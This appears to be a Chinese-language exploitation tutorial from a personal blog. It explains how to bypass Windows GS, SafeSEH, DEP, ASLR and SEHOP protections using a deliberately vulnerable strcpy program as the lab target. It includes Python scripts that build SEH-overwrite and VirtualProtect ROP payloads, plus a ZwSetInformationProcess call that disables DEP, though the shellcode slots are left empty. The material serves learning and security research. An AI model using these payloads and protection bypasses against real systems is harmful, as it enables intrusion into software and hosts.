Joe1sn's Cabinet

【Win Pwn】基础栈溢出保护绕过

针对栈攻击的防护与绕过

GS

GS本质上和Linux GCC中的canary很相似,他在栈帧的结尾(EBP之前)插入一给DWORD类型的值,其副本存在于.data中。

image-20230712223606947

在编译的时候并不会存在GS保护有下面几种情况

  • 函数不包含缓冲区
  • 函数被定义为具有变量参数列表
  • 函数使用无保护的关键字标记
  • 函数在第一个语句中包含内嵌汇编代码
  • 缓冲区不是 8 字节类型且大小不大于 4 个字节

不过仍然可以采用#pragma strict_gs_check 强制启用GS保护

image-20230712230456568

1
2
3
4
5
6
7
8
9
10
11
12
13
#include "string.h"
int vulfuction(char* str)
{
char arry[4];
strcpy(arry, str);
return 1;
}
int main()
{
char* str = "yeah,i have GS protection";
vulfuction(str);
return 0;
}

image-20230712231538824

image-20230712231847170

绕过方式要漏洞类型灵活选择

  • 如果是可以泄露那么泄露后拼接再溢出

  • 再C++中,structclass除了访问权限没有不同,那么有机会可以通过修改函数指针(比如虚函数)来进行RCE

  • 如果存在任意地址写或者能过写道.data段(比如存在字符串格式化漏洞),可以将对比的cookie设置为特定值

    image-20230713081622450

    image-20230713082958542

  • GS机制没有存在SEH的保护,所以 【Win Pwn】基础栈溢出利用 中的利用手段仍然能够成功,只是溢出长度和ROP的Gadget需要重新设置。

    image-20230713000747391

    image-20230713000801579

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    from ae64 import AE64

    payload = b""
    shellcode = b""
    offset = b"A"*(0x160-len(shellcode)-16) #0x1c
    test_func = b"\xc4\x16\x40\x00" #004016C4
    NSEH = b"\xeb\x06\x90\x90" #asm("jmp 6;nop;nop")
    gadget = b"\x9e\x26\x41\x00" #0041269E

    self_gadget = b"\x89\xE0\x05\x2c\x07\x00\x00\xFF\xE0"
    # mov eax, esp
    # sub eax, 0x64c;//sub eax, 0x608
    # jmp eax
    payload = b"\xaa"*16+shellcode+offset+NSEH+gadget+self_gadget

    with open("password.txt","wb") as f:
    f.write(payload)

    image-20230713081020816

SafeSEH

0day那本书上信息有点…过时了,这里可以参考微软的官方定义/SAFESEH(映像具有安全异常处理程序),主要识别方法就是在.rdata中存在IMAGE_LOAD_CONFIG_DIRECTORY32_2

image-20230713090918752

通过RtlDispatchException函数实现

image-20230713091103788

比较通杀的方法就是

  • 不使用SEH
  • 在堆区上布置shellcode然后执行

这里改动一下源代码

  1. 把SEH的地址手动改为堆地址

    image-20230713093246026

  2. 经过校验后直接到堆中执行了

    image-20230713093529382

    image-20230713093751706

    P3是重启了一次后截图,地址可能会不一样

总结一下就是地址的ROP必须符合验证的权限,但是没有开启SafeSEH的DLL文件中的Gadget、没有DEP时候的堆地址都可以使用。

DEP

DEP是类似于Windows上的NX,作用是禁止堆栈的数据拥有执行的权限,避免了Shellcode直接执行。

操作系统通过设置内存页的 NX/XD 属性标记,来指明不能从该内存执行代码。为了实现 这个功能,需要在内存的页面表(Page T able)中加入一个特殊的标识位(NX/XD)来标识是 否允许在该页上执行指令。当该标识位设置为 0 里表示这个页面允许执行指令,设置为 1 时表 示该页面不允许执行指令。

关于NX保护也可以手动查看

image-20230713095059334

只编译DEP可能还需要关闭运行时检查

image-20230713133201425

主要思路就是Ret2Libc

  • 调用ZwSetInformationProcess关闭DEP

    在之前的《【win内核原理与实现】II. 进程与线程》中提到过_KPROCESS存在ExecuteOptions

    image-20230713100758503

    我并没有在微软的官网上找到该结构体的说明,但是可以通过之前他们的逆向结果找到

    1
    2
    3
    4
    5
    6
    7
    Pos0 ExecuteDisable        :1bit 
    Pos1 ExecuteEnable :1bit
    Pos2 DisableThunkEmulation :1bit
    Pos3 Permanent :1bit
    Pos4 ExecuteDispatchEnable :1bit
    Pos5 ImageDispatchEnable :1bit
    Pos6 Spare :2bit

    当前进程 DEP 开启时 ExecuteDisable 位被置 1,当 进程 DEP 关闭时 ExecuteEnable 位被置 1,DisableThunkEmulation 是为了兼容 ATL 程序设置的, Permanent 被置 1 后表示这些标志都不能再被修改。真正影响 DEP 状态是前两位,所以我们只 要将_KEXECUTE_OPTIONS 的值设置为 0x02(二进制为 00000010)就可以将 ExecuteEnable 置为 1。

    使用

    1
    2
    3
    4
    5
    6
    ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE; 
    ZwSetInformationProcess(
    NtCurrentProcess(), // (HANDLE)-1
    ProcessExecuteFlags, // 0x22
    &ExecuteFlags, // ptr to 0x2
    sizeof(ExecuteFlags)); // 0x4

    就可以关掉DEP保护了,在0day书中介绍了3种直接利用兼容性异常而导致DEP关闭的方法

    (1)当 DLL 受 SafeDisc 版权保护系统保护时;

    (2)当 DLL 包含有.aspcak、.pcle、.sforce 等字节时;

    (3)Windows V ista 下面当 DLL 包含在注册表“HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions”键下边标识 出不需要启动 DEP 的模块时

    很可惜在windows10中这些情况几乎不会出现,所以方法不适用

这两种是我比较喜欢用的,因为可以和免杀结合在一起

他们的基础就是类似LinuxPwn中的ROP构造,这里我使用的是32下,cdcle调用方式,使用栈传参

  • VirtualProtect改写内存权限

    关于函数的用法:virtualProtect 函数 (memoryapi.h)

    1
    2
    3
    4
    5
    6
    BOOL VirtualProtect(
    [in] LPVOID lpAddress,
    [in] SIZE_T dwSize,
    [in] DWORD flNewProtect,
    [out] PDWORD lpflOldProtect
    );

    lpAddress: 要改变属性的内存起始地址。

    dwSize: 要改变属性的内存区域大小。

    flNewProtect: 内存新的属性类型,设置为 PAGE_EXECUTE_READWRITE(0x40)时该 内存页为可读可写可执行。

    pflOldProtect: 内存原始属性类型保存地址。 修改内存属性成功时函数返回非 0,修改失败时返回 0。

    不过API位于的是shell32.dll当中,所以要添加上HINSTANCE hInst = LoadLibrary(L"shell32.dll");

    由于ROP依赖于函数调用的传参方式,下面是一个经典的传参

    image-20230713193232979

    ROP时栈的结构

    image-20230713193507826

    由于没有泄露点,所以只能在调试的时候修改。也可以使用Gadget来构造,比如说通过ESP相关得到栈地址之类的。(但是得到VirtualProtect就太困难了)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    from ae64 import AE64

    payload = b""

    shellcode = b""

    offset = b"A"*0x14
    payload = offset
    payload += b"\x90"*4 #VirtualProtect
    payload += b"\x80"*4 #Shellcode Address
    payload += b"\x80"*4 #Shellcode Address
    payload += b"\xff\x00\x00\x00" #Address Length
    payload += b"\x40\x00\x00\x00" #PAGE_EXECUTE_READWRITE
    payload += b"\x38\xa0\x41\x00" #0041A038
    payload += shellcode

    with open("password.txt","wb") as f:
    f.write(payload)

    image-20230713195003967

  • VirtualAlloc来开辟可执行的内存然后执行shellcode

    VirtualProtect一样的道理,不过需要使用复制的payload将shellcode复制到可执行的内存中

ASLR

在绕过DEP保护中需要调试的时候才能写入函数地址的原因就是这些函数的DLL使用了ASLR保护,导致函数每次加载的基地址不同,所以无法使用固定地址。

绕过思路主要有

  • 低位覆盖,最低位是固定的
  • 堆喷,将内存初始化后的\x0c强制写为\x90nop的汇编),这样程序进入了任意的地址都能滑行到shellcode。(扩大伤害面)

SEHOP

由于SEH是链式的,所以他会顺着链表检查,如果最后一个不为系统固定的终极异常处理函数就直接不执行。

image-20230713201332561

最直接有效的就是伪造SEH链,由于只会验证最后一个,只满足这个条件就可以了

由于SEHOP在SafeSEH之前,所以绕过过后还需要继续绕过SafeSEH

image-20230713201648035

参考

《0day安全:软件漏洞分析技术》